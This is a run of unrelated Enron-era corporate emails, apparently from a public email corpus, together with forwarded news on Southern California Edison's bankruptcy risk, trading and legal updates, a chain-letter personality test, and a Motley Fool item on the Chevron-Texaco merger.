memorandum of understanding between Southern California Edison and the stat=
e,=20
but have an effective deadline of Friday, the last day before a month-long=
=20
summer break.=20

Neither bill in the Assembly nor another bill in the Senate implements in=
=20
full the terms of the MOU, which calls for the state to buy the utility's=
=20
transmission lines for $2.76 billion and allow it to issue bonds to recover=
=20
$3.5 billion in wholesale power costs it hasn't been able to recover from=
=20
customers, whose rates are frozen.=20

Edison has said it faces bankruptcy if lawmakers don't act by the MOU's=20
August deadline.=20

-By Jason Leopold, Dow Jones Newswires; 323-658-3874;=20
jason.leopold@dowjones.com=20

Six Months Later, Edison's Utility May Still End Up Bankrupt
By Liz Goldenberg

Rosemead, California, July 18 (Bloomberg) -- Even if California lawmakers=
=20
pass a rescue plan to bail out insolvent Southern California Edison, some=
=20
analysts say bankruptcy may be the only solution.=20

``The reason they haven't filed remains more of a mystery than when they wi=
ll=20
file,'' said Jon Kyle Cartwright, a senior energy credit analyst at Raymond=
=20
James & Associates Inc. in St. Petersburg, Florida, who isn't recommending=
=20
buying any debt sold by California utilities.=20

``If the weather heats up or their creditors wise up, they'll have to go in=
to=20
bankruptcy,'' said Cartwright.=20

Six months after the state's No. 2 utility defaulted on its debt, Californi=
a=20
lawmakers are debating a rescue package designed to restore it to investmen=
t=20
grade status. Any failure to do so by Friday, when the legislature is=20
scheduled to adjourn for a month, may result in a collapse of negotiations=
=20
between the lawmakers, the governor, and the utility, and ultimately,=20

There are at least three versions under consideration, each targeting=20
different groups, such as large businesses or power suppliers, to help foot=
=20
the bill for the bailout. There isn't any agreement as to what the rescue=
=20
should look like, who will pay, and who is to blame for the situation.=20

Acceptable Option?=20

The bad news for the utility and its creditors is that ``bankruptcy seems t=
o=20
be an increasingly accepted option by the legislature,'' said Dorothea=20
Matthews, the senior utility analyst for CreditSights, Inc., a research fir=
m.=20

Any three unsecured creditors can file a petition to put the utility into=
=20
bankruptcy. Debt holders, banks, and power generators are Southern Californ=
ia=20
Edison's unsecured creditors.=20

The original rescue, signed on Apr. 9, between Governor Gray Davis and Edis=
on=20
expires on Aug. 15. If legislative action isn't taken by then, either party=
=20
can back out.=20

That is something that Southern California Edison may do, ``given the delay=
s=20
that have plagued the rehabilitation process at virtually every stage,'' sa=
id=20
David Bodek, an analyst who covers the utilities industry for Standard &=20
Poor's, a credit rating company.=20

Edison may decide that its utility may fare better under the eye of a=20
bankruptcy judge rather than politicians.=20

The lawmakers' goal is to save the utility in a way that is palatable to th=
em=20
and to California voters. Stock and debt holders aren't a priority, analyst=
s=20
said.=20

Do the Right Thing=20

``Investors will brunt the majority of the pain here,'' said Raymond James'=
s=20
Cartwright. ``An investment thesis that requires a group of politicians to=
=20
get together and do the right thing is ill fated -- there is no way of=20
knowing what the state will or will not do.''=20

On a conference call yesterday with investors holding Southern California=
=20
Edison debt in default, Edison chief financial officer Ted Craver said that=
=20
while all the legislation being debated has returning the utility to=20
creditworthiness as a goal, the language needed to achieve that wasn't=20
included.=20

``This is the beginning of the legislative process'' that will go on for th=
e=20
next few days, he said.=20

Creditworthiness, which Edison officials say is the most important goal, is=
=20
determined by credit rating companies and investors, rather than by the=20
legislature or the utility.=20

Stay Tuned=20

``Our money is still on an eventual filing'' for bankruptcy, said=20
CreditSights' Matthews, who puts those chances at about 80 percent. ``Stay=
=20
tuned. It ain't over until the fat lady sings, but we think we can hear her=
=20
warming up in the wings.''=20

Southern California Edison accrued more than $5.4 billion in debts as it pa=
id=20
soaring wholesale power costs that a flawed 1996 deregulation law prohibite=
d=20
it from passing on to customers. It has defaulted more than $930 million of=
=20
maturing debt since Jan. 16, and lost its investment-grade credit rating. T=
he=20
utility owes banks more than $200 million for loans coming due on Sept. 15=
=20
and has no access to the capital markets.=20

``With few notable exceptions, (utility) bondholders have been well served =
by=20
regulatory and political support for the financial well-being of'' utilitie=
s=20
such as Southern California Edison, S&P's Bodek said.=20

Lacked Support=20

California's utilities have ``lacked such support over the past year, as=20
manifested by a stubborn and prolonged resistance to remedial action despit=
e=20
imminent insolvency.''=20

Pacific Gas & Electric Co., the state's largest investor- owned utility,=20
filed for bankruptcy protection on April 6 after racking up more than $9=20
billion in debts.=20

The state stepped in to keep the lights on and the power flowing after=20
suppliers refused to extend additional credit to the state's two largest=20
investor-owned utilities. California has spent more than $7 billion buying=
=20
power since January.=20

It is still possible that a last minute deal will satisfy all parties,=20
analysts said.=20

``What worries me is that there is nothing in the legislation that will all=
ow=20
the utility to pass on reasonable power procurement costs in the future,''=
=20
said Susan Abbott, a managing director in the power group at Moody's=20
Investors Service, a credit ratings company.=20

``If a bill goes through that in no way addresses the issue of power cost=
=20
recovery for the utility, it would potentially be subject to the same=20
conditions that resulted in the financial distress it's experiencing today.=
''=20
=01;  =01; =20

Stuart:
I'm heading into a peaker meeting at 9:00, but will be out in 30 minutes or 
so.  I talked to Jerry this morning and the best time to talk with him is 
this morning before 10:00 our time.  Let's try and talk with him about the 
remaining issues this morning so we can work on them from our end to 
eventually talk with him later today.  Thanks!
Ben

---------------------- Forwarded by Kayne Coulter/HOU/ECT on 04/25/2001 03:21 PM ---------------------------

To:	Miguel L Garcia/NA/Enron@ENRON, Mauricio Trejo/Enron@EnronXGate, Rudy Acevedo/HOU/ECT@ECT
cc:	Kayne Coulter/HOU/ECT@ECT 
Subject:	Incorrectly booked deals

NRG Power Marketing Inc.  Please do not pick NRG Energy Inc.   This CP is for swaps only.  Power Marketing is for physical power.   Please Please Please select the correct CP.

589885
591068
591123

Attached is the NDA for Cargill you requested.  At the direction of Mark 
Greenberg, I have added a non-solicitation clause.

I thought we already sent him docs.
 
Ox?

From: Arnold, John 
Sent: Sun 10/7/2001 11:29 AM 
Cc: 

yes, he'll be at work on monday.  can you have docs ready sometime during the day?
 
by the way, these are crappy pics.  The prediction company says you go 4-7.

From: Lavorato, John 
Sent: Sunday, October 07, 2001 11:26 AM
To: Arnold, John
Subject: 

john
 
did you talk to mike.  is he okay with my condition.
 
current 1085
 
all 150
 
balt -3.5
sd -3
phili -14
atl -3
cinci +5
minn +3.5
ne +9
ne/mia over 35
gb +3
 oak -18
car +7
 
There are two ENA contracts with Blue Dolphin - FT and IT and one for ENAU.  Were both of the contracts assigned?  In Global, the only contracts that show as assigned to AEP are  Global # 96032498 (ENA - FT) and Global #96063862 (ENAU - IT).  

The other contract Global#96037499 still shows as an active contract for ENA and the pipe continues to invoice us.

Taking into account that Global may be wrong, is there something that either of you have with the assigned global numbers so that we can get Global updated and notify the pipe?

From: 	Hall, Bob M  
Sent:	Monday, October 15, 2001 8:24 AM
To:	Wynne, Rita; Farmer, Daren J.

I think blue dophin went to AEP.  Do you guys need this for anything?

bob

From: 	Baumbach, David  
Sent:	Monday, October 15, 2001 7:36 AM
To:	Hall, Bob M
Subject:	

Bob, 

Michael Olsen in Texas Logistics is receiving statements from Volume Mgmt for Blue Dolphin Pipeline.  Mike is fairly sure that Blue Dolphin went with HPL.  Is that correct or do we still have some business on it?

Dave

Dear Shawn,

It is unfortunate Tom did not bring up these points when the three of us 
discussed this on Monday.  I am unclear as to whether the work AA was 
planning to do on power is for their internal or external purposes as when 
asked directly Jennifer Stevenson said that it was for both audits (which, as 
you know, is frowned upon by the SEC).

In fact, Stacey was not part of the Doorstep team.  Additionally Risk 
Operations (myself) did not set up or perform the deal test.  Instead, this 
test was set up by AA and performed by members of RAC.  This can be 
considered a internal audit for AA's purposes.

Although it seemed that we had an agreement on Monday, it now looks as if 
you, Tom and I need to meet again and establish some additional ground rules 
in order to eliminate duplication of work.

Regards

Shona

Shawn Kilchrist
09/27/2000 05:49 PM
To: Shona Wilson/NA/Enron@Enron, Michael E Moscoso/HOU/ECT@ECT
cc:  

Subject: Door step

Please see below from Tom.  It may be that they will not be able to rely on 
the work because this group is not independent and objective as an internal 
audit group should be by design.

I will keep you posted on anything I hear.

SK

---------------------- Forwarded by Shawn Kilchrist/NA/Enron on 09/27/2000 
05:46 PM ---------------------------

Tom Bauer
09/26/2000 03:15 PM
Sent by: Sabrina Whaley
To: Shawn Kilchrist/NA/Enron@Enron
cc:  

Subject: Selected Observations

I am fordwarding to you the list of items we recently discussed in our Trading
status meeting. This list was compiled specifically for that meeting to
illustrate some representative  findings and observations. It is not a
comprehensive summary. Please review the database for all findings related to
our controls testing.

Also please advise who will be doing the Doorstep procedures on the West 
Desk. I
envisioned from our recent phone call that it would be conducted as an 
internal
audit function and I could incorporate it into my work on the external audit 
as
such. I am hearing that the team will include Enron employees such as Stacey
White.  If so, I would not view the work in the same fashion as if done by
people in your group or other independent group. Let's discuss.

(See attached file: Cmpltnss&AccrcyJS.doc)

 - Cmpltnss&AccrcyJS.doc

Jim,
here are the articles I found regarding offers made from Enron.  Sorry, I 
placed these in your chair on Friday, and I didn't realize that you were not 
in the office.

	James D Steffes@ENRON
	03/20/2001 12:02 PM
		 
		 To: Miyung Buster/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
		 cc: 
		 Subject: Summary of Supply Offers in California

Any luck on public information about offers last year?

Jim

----- Forwarded by James D Steffes/NA/Enron on 03/20/2001 12:02 PM -----

	03/19/2001 08:24 PM
		 
		 To: James D Steffes/NA/Enron@Enron, Richard Shapiro/NA/Enron@Enron, 
skean@enron.com, Susan J Mara/NA/Enron@ENRON, Sandra McCubbin/NA/Enron@Enron, 
Susan J Mara/NA/Enron@ENRON, Harry Kingerski/NA/Enron@Enron, Paul 
Kaufman/PDX/ECT@ECT, Janel Guerrero/Corp/Enron@Enron, Karen 
Denne/Corp/Enron@ENRON, mpalmer@enron.com, Alan Comnes/PDX/ECT@ECT
		 cc: 

Jim:

Attached is a fairly distilled summary of the projects Enron's offered to the 
utilities, DWR and the ISO over the past 9-12 months, or so.  With respect to 
the power contracts offered to the IOUs, only the offers accepted by PG&E and 
Edison are included---the desk doesn't keep records of offers rejected, only 
offers accepted.  However, I'm fairly confident that I can dig deeper and get 
more info on the other power deals offered to Edison, PG&E and SDG&E if folks 
would like that information.  Just let me know. Prices are included for the 
offers that had prices attached when submitted. 

Best,
Jeff

Do you know Brian's email?  I have it as: brianp@aiglincoln.com.po 
 
But mail comes back  undeliverable.

Could you replace our recent posting on the EBB with the attached document.  
We've just corrected the name of "Enron Oil & Gas" to "EOG Resources".  I 
don't think it's necessary to put "Revised" or anything on it, unless we have 
to.  I'd just like to replace it (or if you can go in and make that change, 
that's okay too).  Let me know.

Thanks,
Lindy

Tana, 

Pinnacle West Capital Corporation: Ok to buy and sell West Physical Power 
with them on EOL.  

Everyone else on the list: "Ditto Credit" - or in other words,  no change to 
the physical power profiles for these CP's if they are currently trading on 
EOL. If they are not currently trading on EOL, then they are not approved for 
physical power.  

Thanks, 

Shari

I know it's time for a vacation now....sorry that number is for the broker 
ref.  The correct deal number is 542839.

Thanks!!

   Kate Symes @ ECT                03/12/2001 02:02 PM

cc:  

Subject: Re: deal 297846
  
This deal is in under Short Term California, not Long Term Northwest, and the 
trader is Phil Platter, not Mike Swerzbin, and there is no broker. Are you 
sure this is the deal in question?

Kate

03/12/2001 11:35 AM
cc:  

Subject: deal 297846

Kate, for deal 297846 (Mike Swerzbin) Prebon says the broker fee should be 
$.0075 and we show no fee.

Thanks!!

Tenaska IV has been operating without a "gas agency agreement" since that 
portion of the Transition Agreement expired on August 31.  We met with Sandy 
and the Texas gas desk on September 28 to firm up commercial terms (which I 
think we generally accomplished for all matters other than the price that 
would be charged by the desk).  Should we be concerned with the amount of 
time this is taking?  That is, is there any risk we face (bank-wise or 
otherwise) during the period of time before this agreement is inked and taken 
through the bank consent process?

RH

---------------------- Forwarded by Garrick Hill/HOU/ECT on 10/17/2000 02:39 
From: Sandi M Braband on 10/17/2000 02:30 PM
To: John Griffith/Corp/Enron@ENRON
cc: Garrick Hill/HOU/ECT@ECT, Daren J Farmer/HOU/ECT@ECT 

John,
I have a draft that I have been working on revising--got pulled off to work 
on Triple Lutz again and may not have anything to distribute until late next 
week--I will be out of the office on Triple Lutz the rest of today and 
tomorrow and then out of town until the 25th--I will try to get something to 
you to look at before I go but can make no guarantees--

Sandi

	John Griffith@ENRON
	10/17/2000 08:17 AM
		 
		 To: Sandi M Braband/HOU/ECT@ECT
		 cc: 
		 Subject: Cornhusker

Sandi,

What is going on with Cornhusker?  Have we made any progress on the 
agreement?  Please let me know where we stand.  Thanks.

John

Happy New Year to you as well, Charles.  I have not heard anything from=20
Vince; let me check with him, and I will be back in touch with you.

Molly

  =20
=09
=09From:  Charles Shen <charlesshen8@yahoo.com>                          =
=20
01/07/2001 10:41 AM
=09

To: Molly.Magee@enron.com
cc: Vince.J.Kaminski@enron.com=20
Subject: Greeting from Charles

Dear Molly:

Happy New Year! Haven=01,t talked to you for a while,
hope you and your family had a great holiday. I can=01,t
believe we are already in 2001!

I remember we had talk last December, and you were
basically waiting for the response from Vince, have
you heard anything back from Vince yet? Since we are
already in January, I really hope we can move forward.

If you have any questions, please feel free to call me
at 918-409-4308. Thank you.

Charles

Yahoo! Photos - Share your holiday photos online!
http://photos.yahoo.com/

chapter 1 - public relations.

Go down the employee list from highest to lowest paid.  When you get to someone that makes under 60 K per year make them Enron Americas Public Relations person.

From: 	Fallon, Jim  
Sent:	Sunday, November 11, 2001 6:52 PM
To:	Bowen Jr., Raymond; McMahon, Jeffrey; Mcconnell, Mike; Horton, Stanley; Fallon, Jim; Delainey, David W.; Lavorato, John; Sherriff, John; Whalley, Greg
Subject:	Strategic Planning Meeting

I would like to have a planning meeting tomorrow to begin coordinating the development of a strategic and tactical global plan with goal of being completed with that plan by Friday.  Let me know at your earliest convenience what time tomorrow works well for you.
Regards,
Jim 

Attached is an agenda for this Sunday's meeting of the Houston steering
committee of the UT GBN.  I will see you there.

CJ

 - GBN Agenda 5-7-00.doc

Hi there.

I changed our SF appointment to 900 on Friday.

We have not been successful in getting a hotel room anywhere close to where 
we are going.  There is some big fashion convention in NY, and the rooms are 
booked as far away as Danbury, Connecticut.  Wild, isn't it?  Heather says 
there is a chance that we will fly out tomorrow, spend tomorrow night in NY, 
then I can fly to Chicago Thursday am.  I still plan on flying back on 
Thursday pm so that I can make that 900 appointment.  That may mean taking 
the midnight flight, but what the heck.

I'll keep you posted. 

Kay

From: 	Cheung, Cecilia  
Sent:	Wednesday, January 23, 2002 2:56 PM
To:	Love, Phillip M.
Subject:	RE: termination list for deals to be moved to bankruptcy book

I'm about to move the deals.  Please hold off the calc until you hear from me.  Thanks.

Sent:	Wednesday, January 23, 2002 1:33 PM

Please let me know when you get close to being complete so that we can hold off calcing if necessary.  Thanks.
PL

Sent:	Wednesday, January 23, 2002 1:31 PM

No, it's not done yet cos' I was busy yesterday and just got back from UBS meeting.  Will work on this now.

Sent:	Wednesday, January 23, 2002 1:25 PM

Just curious if this got done last night?
PL

From: 	Gossett, Jeffrey C.  
Sent:	Tuesday, January 22, 2002 3:58 PM
To:	Giron, Darron C.; Love, Phillip M.
Subject:	FW: termination list for deals to be moved to bankruptcy book

From: 	Mulvany, Patrick  
Cc:	Gossett, Jeffrey C.; Theriot, Kim S.; Miller, Don (Asset Mktg)
Subject:	termination list for deals to be moved to bankruptcy book

Cecilia,

Here is the list of Counterparties that have been requested:

CP ID	     Counterparty 

504	     Alabama Gas Corporation
8	     Amerada Hess Corporation
64516	     Avista Corporation
55265	     Avista Energy, Inc.
68247	     Bankers Trust International PLC
65291	     BP Corporation North America Inc.
410	     Burlington Resources, Inc.
23848	     Cabot Oil & Gas Marketing Corporation
79689	     Calpine Energy Services, L.P.
5264	     Cargill, Incorporated
881	     Central Illinois Light Company	
65599	     CMS Field Services Inc.
69	     Columbia Energy Services Corporation
56630	     Consolidated Energy Solutions, Inc.
26427	     Consumers Gas Company, LTD.
74362	     Continental Gas, Inc.
52577	     Cornerstone Propane, L.P.
1424	Florida Power Corporation	
55109	Hess Energy Trading Company LLC	
3796	Hunt Petroleum Corporation	
1901	Kaztex Energy Management Inc.	
2094	Marathon Oil Company	
53782	National Energy & Trade, L.L.C.	
5563	New York Mercantile Exchange	
64141	NJR Energy Services Company	
155	Noble Gas Marketing Inc.	
151	Northern Illinois Gas Company	
69121	NRG Power Marketing Inc.	
63665	Occidental Energy Marketing, Inc.	
54438	PG&E Energy Trading, Canada Corporation	
58402	PG&E Energy Trading-Gas Corporation	
46709	Phibro Inc.	
55776	Pioneer Natural Resources USA, Inc.	
33367	PMI Trading, LTD	
49262	Questar Energy Trading Company	
65268	Reliant Energy Services, Inc.	
187	San Diego Gas & Electric Company	
103469	Sequent Energy Management, L.P.	
3996	Sithe Energies, Inc.	
26146	Societe Generale	
11134	St. Mary Land & Exploration Company	
3022	Texaco Natural Gas Inc.	
81385	The New Power Company	
37810	Venoco, Inc.	
96651	Vitol Capital Management Ltd.	
46924	Vitol S.A.	
232	Western Gas Resources, Inc.	
237	Wisconsin Power And Light Company	

Thanks for the update.  Good luck in NY.   Mark

	Bruce Lundstrom@ENRON_DEVELOPMENT
	01/08/2001 08:56 AM
		 
		 To: Stephanie Harris@ENRON, Mark E Haedicke@ECT
		 cc: Rob Walls/NA/Enron@Enron
		 Subject: Dabhol - An Update on Legal Efforts

Gentlemen -

We are currently in the processing of serving/delivering the GOM Guarantee 
demand and the PPA Meet and Discuss Letter.  Ken Lay approved the delivery in 
a conference call this morning.  Our attention will then turn to the GOI 
Guarantee demand (can be served a week from today), the Notice of Arbitration 
under the GOM Guarantee and anticipation of injunctive relief being sought by 
our counterparties to stay any arbitration and collection/payment on the 
guarantees.

We are scheduled to meet with the lenders in NY tomorrow.

Bruce

---------------------- Forwarded by Bruce Lundstrom/ENRON_DEVELOPMENT on 
01/08/2001 08:54 AM ---------------------------

Bruce Lundstrom
01/05/2001 01:57 PM
To: Stephanie Harris@ENRON, Mark E Haedicke@ECT
cc: Rob Walls/NA/Enron@Enron 

Subject: Dabhol - An Update on Legal Efforts

Jim/Mark -

I know that Rob has been keeping you generally apprised, but I thought that I 
would update you both on the quickly evolving Dabhol situation.

The commercial situation at Dahbol Power Company is deteriorating pretty 
rapidly.  MSEB is now approx. 45 days late on payment in full of the October 
invoice.  They have paid only a relatively modest portion of that bill.  
Payment on the November bill is about 15 days late.  The MSEB Chairman says 
that MSEB can't pay these invoices.

At present, the Governments of Maharashtra and India are refusing to engage 
in a constructive dialogue on solving the non-payment issue and the 1400 MW 
that will come on line as part of Phase II.  They say that they recognize 
their obligations as guarantors of MSEB's obligations but are not interested 
in helping in any different capacity (e.g., GOI buys some or all of Phase II).

Until just a few days ago, the lead India bank was refusing to fund even 
their own ongoing interest obligation.  At present, they are refusing to 
continue funding any other Phase II draw request.  The India banks have a 
great deal to lose and, in our opinion, should strongly consider continuing 
to fund Phase II.  It would seem that the lead India bank is scared, knaive 
or, worse yet, very pessimistic about Dabhol's future -- perhaps there are 
other reasons for their current position.

We are meeting with the international banks in NY on Tuesday.  Our main goal 
is to convince them to continue to fund and to use their influence to have 
the India banks do the same.

The current India legal crisis team is nearly identical to the 1995 India 
legal crisis team.  The same law firms and lawyers (both Indian and 
international) are continuing to play much the same roles.

We have not identified any particular "holes" in Dabhol's legal position.  
While the India newspapers have offered up various theories that might allow 
MSEB to cancel the PPA (frustration of purpose, etc.), none seem compelling.  
No counterparty has offered up any of these theories directly to DPC.

In the short term, we are preparing (1) a demand under the GOM guarantee and 
(2) a "meet and discuss" letter under the PPA.  The current plan is to serve 
these next week.  We are also preparing (3) an arbitration notice under the 
GOM guarantee, (4) a demand under the GOI guarantee and (5) an action against 
MERC.  MERC is the Maharashtra Energy Regulatory Commission.  They have 
issued "orders" over the last year limiting the amount of power that MESB 
buys from Dabhol.  We do not believe that they have jurisdiction to do so.  
We may or may not ultimately file this action.

Let me know if I can provide any further information.

Bruce

Attached is a mini dash that summarizes the proposed deal to grant a license for POPS to AEP.  Please review and let me know of any issues, questions or concerns.  

Yesterday evening AEP sent some last minute changes to the license agreement primarily dealing with arbitration.  I will be meeting with Barbara Gray and my counterpart from AEP, Dave Banks, tomorrow to nail down this agreement.  I'd like to get signatures on Friday so that we can move forward with getting our first payment and then start the process of delivering the application.  

On a related note there have been some issues between AEP and Enron on the commercial side of the business.  Louise Kitchen and Eric Vanderwalde are involved in working through those issues.  Brian Redmond has asked that we call him before executing this agreement.  

Tommy J Yanowski
713.853.6858

---------------------- Forwarded by Matthew Lenhart/HOU/ECT on 04/24/2001 
09:42 AM ---------------------------

merlinm@uswest.net on 04/23/2001 07:57:00 PM
Please respond to merlinm@uswest.net
To: "Andrew Clark" <amc_97@yahoo.com>, " Andrew Evans" 
<r38882@email.sps.mot.com>, " B-Game" <chadburlingame@hotmail.com>, " Billy 
O'sullivan" <OSullB@aol.com>, "Brad Dousevicz" <bdouse@aol.com>, " Brandon 
Upah" <bupah@rhythms.net>, "bubba" <mpdesimone@msn.com>, " Chapstick" 
<sharriage@netscape.net>, " drew brown" <dbrown_europe@hotmail.com>, " Eric 
Paulsen" <Eric.Paulsen@hugheschris.com>, " eric wood" <eawood33@hotmail.com>, 
" Gabe Meyers" <didjian@hotmail.com>, "Flynn" <tflynn@vtm-inc.com>, " Jason 
Cole" <jcoletrickle@yahoo.com>, " Kate Kress" <kkress@mve-architects.com>, " 
khristopher Tabaknek" <ktabaknek@dtjboulder.com>, " Lois Brink" 
<lbrink@carbon.cudenver.edu>, " Mark Fasanella" <mfasanella@edgewood.edu>, " 
Mark Uris" <uris@scd.ucar.edu>, " Matt Lenhart" <Matthew.Lenhart@enron.com>, 
" Michael Hartman" <flippy_hartman@yahoo.com>, " Mitchell" 
<jmitchell@fairenterprises.com>, " Morrill" <Scott.Morrill@Grubb-Ellis.com>, 
" Peder" <pederleifkjeseth@hotmail.com>, " rebecca bicknell" 
<beckbick@yahoo.com>, " Ryan Arni" <rarni@mkkeng.com>, "Ryan Lee" 
<ralee@rmi.net>, " Scott Berberich" <scottberb@yahoo.com>, " Scott Vander 
Putten" <primemover@netzero.net>, " Spud" <sprouty2000@hotmail.com>, "UNce" 
<masicajm@osd.pentagon.mil>
cc:  

Subject: something groovy fr. the Dali Lama

Hey everybody.  Enjoy!

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Date: 23 Apr 2001 13:39:53 -0600
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From: "Chris Maley" <cmaley@integerdenver.com>
Sender: "Chris Maley" <cmaley@integerdenver.com>
To: "ann fisher" <Annfishernyc@aol.com>,  "bill maley" 
<bill.maley@solutionspoint.com>,  "brian jacobson" <btjacob@qwest.com>,  
"chuck stiebling" <chuck@stieblingali.com>, "sasha ali" <sashaali@att.net>,  
"merlin" <merlinm@uswest.net>, "kate maley" <KateMaley@aol.com>
Subject: Fwd: something groovy to do...
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Content-Type: text/plain; charset="US-Ascii"

>
>
> > - The Dalai Lama said read it to see if it works for you.
> >
> > PERSONALITY TEST.
> >
> > Very interesting. Just 4 questions and the answers will surprise you....
> >
> > Do not cheat by looking up the answers. The mind is like a parachute
>works
> >
> > best when it is opened.
> >
> > This is fun to do, but you have to follow the instructions very closely.
> > Do
> > not cheat.
> >
> >
> >
> >
> >
> > MAKE A WISH BEFORE BEGINNING THE TEST!!
> >
> >
> >
> > A Warning! Answer the questions as you go along..
> >
> >
> >
> > There are only four questions and if you see them all before finishing
>you
> >
> > will not have honest results.
> >
> > Go down slowly and do each exercise as you scroll down. Don't look
>ahead.
> > Get pencil and paper to write your answers as you go along. You will
>need
> > it
> > at the end. This is an honest questionnaire, which will tell you a lot
> > about
> > your true self..
> >
> >
> >
> >
> >
> >
> >
> > Put the following 5 animals in the order of your preference.
> >
> > a. Cow
> >
> > b. Tiger
> >
> > c. Sheep
> >
> > d. Horse
> >
> > e. Pig
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> > Write one word that describes each one of the following:
> >
> > Dog
> >
> > Cat
> >
> > Rat
> >
> > Coffee
> >
> > Sea
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> > Think of someone (who also knows you and is important to you) that you
>can
> >
> > relate them to the following colors.
> >
> > (Please do not repeat your answer twice. Name just one person for each
> > color.)
> >
> > Yellow
> >
> > Orange
> >
> > Red
> >
> > White
> >
> > Green
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> > Finally, write down your favorite number and your favorite day of the
> > week.
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> > Finished? Please be sure that your answers are what you REALLY WANT.
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> > Look at the interpretations below: (but first before continuing, repeat
> > your
> > wish.)
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> >
> > This will define your priorities in your life.
> >
> > Cow signifies CAREER
> >
> > Tiger Signifies PRIDE
> >
> > Sheep Signifies LOVE
> >
> > Horse Signifies FAMILY
> >
> > Pig Signifies MONEY
> >
> >
> >
> > Your description of dog implies YOUR OWN PERSONALITY.
> >
> > Your description of cat implies the personality of your partner.
> >
> > Your description of rat implies the personality of your enemies.
> >
> > Your description of coffee is how you interpret SEX.
> >
> > Your description of the Sea implies your own life.
> >
> >
> >
> >
> >
> > Yellow: Someone you will never forget
> >
> > Orange: Someone you consider your true friend.
> >
> > Red: Someone that you really love
> >
> > White: Your twin soul
> >
> > Green: Someone that you will remember for the rest of your life.
> >
> >
> >
> >
> >
> >
> >
> > You have to send this message to as many persons as your favorite number
> > and your wish will come true on the day that you put. This is what the
> > Dalai
> > Lama has said about the Millennium -- just take a few seconds to read it
> > and
> > think.
> >
> > Do not put away this message, the mantra will come out from your hands
>in
> > the next 96 hours.
> >
> > You will have a very pleasant surprise. This is true, even if you are
>not
> > superstitious.
> >
> >
> >
> > Please do this. It is fascinating.
> >
> > SEND THIS E-MAIL MANTRA TO AT LEAST FIVE PERSONS AND YOUR LIFE WILL
> > IMPROVE
> >
> > 0-4 persons: Your life will improve slightly.
> >
> > 5-9 persons: Your life will improve to your liking.
> >
> > 9-14 persons: You will have at least 5 surprises in the next three weeks
> >
> > 15  or more persons: Your life will improve drastically and all that you
> > have always dreamed will take shape.
> >
> > If at any time you do not receive the smile you were expecting, be
> > generous
> > and give that person a smile.
> >
> > Because nobody has as much  necessity of a smile than the person that
>does
> >
> > not know how to smile at others.
> >

Sorry this didn't come earlier, but I just got my new computer this 
afternoon. I
hope this helps you understand what's going on better. Call/see me if you have
any thoughts or questions. I also have a cd rom that is helpful in seeing the
network in action.

Regards,

Jason

(See attached file: ECI PP 1.ppt)                         (See attached file:
ECI PP 2.ppt)

 - ECI PP 1.ppt
 - ECI PP 2.ppt

                     Monday, October 16, 2000

http://www.fool.com/m.asp?i=155934

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"If you don't read, you lose all perspective." -- David S.
Jackson

CHEVRON GUZZLES TEXACO
Two U.S. oil powers agreed this weekend to form the world's
fourth-largest oil and gas company.

By Tom Jacobs

The Texaco (NYSE: TX) board yesterday approved Chevron's (NYSE:
CHV) $35.1 billion stock purchase offer. The deal between the
No. 2 and No. 3 U.S. oil companies would create the
fourth-largest world oil and gas concern, Chevron Texaco, and
increase competition for world leader Exxon Mobil (NYSE: XOM).

Chevron will pay 0.77 of a share for each Texaco share and
assume $8 billion in debt, for a total of $45.4 billion. The
per-share price -- slightly higher than the 0.765 that Chevron
offered in 1999 talks that stalled -- values Texaco at $64.87,
an 18% premium to its Friday close of $55.13. Chevron
shareholders will have 61% control of Chevron Texaco and nine of
the 15 board seats.

Attention immediately focused on regulatory and political
obstacles to the marriage. The new company would have major
control of West Coast refining capacity and gas stations. Middle
East upheavals could bring political scrutiny as well. But the
new company's $85 billion market capitalization appears puny
compared to BP Amoco's (NYSE: BP) $207 billion, and the smaller
Chevron Texaco would arguably pose less of a threat to world gas
prices.

Texaco abruptly broke off prior merger talks in June 1999,
allegedly due to bad chemistry between former Chevron CEO
Kenneth Derr and Texaco Chairman Peter Bijur. Derr has since
retired. The new CEO, David O'Reilly, assumed command nine
months ago and reportedly has good relations with Bijur,
including several golf dates. Reilly would be CEO of the new
combined entity and Bijur would stay on as number two.

The deal came just days after Texaco purchased General Motors'
(NYSE: GM) interest in GM Ovonic, a joint venture between GM and
Ovonic Battery Company, a subsidiary of Energy Conversion
Devices (Nasdaq: ENER). Ovonic Battery was the originator of
nickel metal hydride (NiMH) batteries for electric and hybrid
vehicles. The joint venture develops production and
manufacturing processes to commercialize the NiMH battery
technology for use in 2003 model year cars. Texaco's share of
the joint venture is 50%, adding to its 20% ownership of Energy
Conversion Devices. There is no information whether the Chevron
purchase will affect this deal.

All told, the deal looks good for Texaco. Though both companies'
revenues are approximately $36 billion, Texaco's profits are 60%
of Chevron's. On Friday's huge up day, Texaco closed at $55.13,
off $1.88, while Chevron shed $3.06 to finish at $84.25.

NEWS TO GO

European regulators switched course Friday and approved
Vivendi's (NYSE: V) $34 billion acquisition of Canada's Seagram
(NYSE: VO), after the European Commission indicated it might
subject the deal to a time-consuming further investigation. The
key shift occurred when Vivendi agreed not to discriminate
against competitors seeking access to Seagram's Universal unit's
film and music libraries. Observers are surprised that this deal
practically flew by in comparison with the five-month probe of
the Time Warner (NYSE: TWX)-America Online (NYSE: AOL) deal.

Qualcomm's (Nasdaq: QCOM) on-again, off-again affair with China
Unicom over increased Chinese penetration of Qualcomm's CDMA
(code division multiple access) wireless technology is back on.
The companies announced that they will join Shenzhen Zhongxing
Telecom, the leading Chinese CDMA phone equipment manufacturer,
to produce a CDMA handset for sale in China. A cool feature is
that it allows users to remove subscriber identification module
cards and switch phones, and retain their number and service.
